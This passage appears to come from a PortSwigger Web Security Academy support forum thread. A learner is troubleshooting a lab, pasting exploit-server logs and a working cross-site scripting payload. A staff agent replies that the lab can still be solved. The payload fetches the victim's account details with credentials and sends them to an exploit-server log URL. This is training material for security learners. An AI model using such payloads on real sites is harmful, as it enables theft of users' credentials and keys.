Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0" 10.0.3.129 2024-10-07 19:54:23 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 78.199.220.46 2024-10-07 19:54:23 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0" ``` I cant tell if the browser of the bot block script, doesn't get answer from "https://0af200ed03468114805ada600034004b.web-security-academy.net/accountDetails", or doesn't send to "https://exploit-0a0e00be036681da8068d98e0134001b.exploit-server.net/log?key=..." Here is the payload I'm using : ``` Hello, world! <script> document.location="http://stock.0af200ed03468114805ada600034004b.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0af200ed03468114805ada600034004b.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0a0e00be036681da8068d98e0134001b.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> ``` PS : As shown I am using firefox, but since I don't have any issue on my side I'm not sure changing browser would help.

Ben, PortSwigger Agent | Last updated: Oct 08, 2024 08:19AM UTC

Hi Henri, I have just run through this lab and been able to solve it using the solution provided. Are you still having issues if you try this lab again right now?

Henri | Last updated: Oct 08, 2024 10:43AM UTC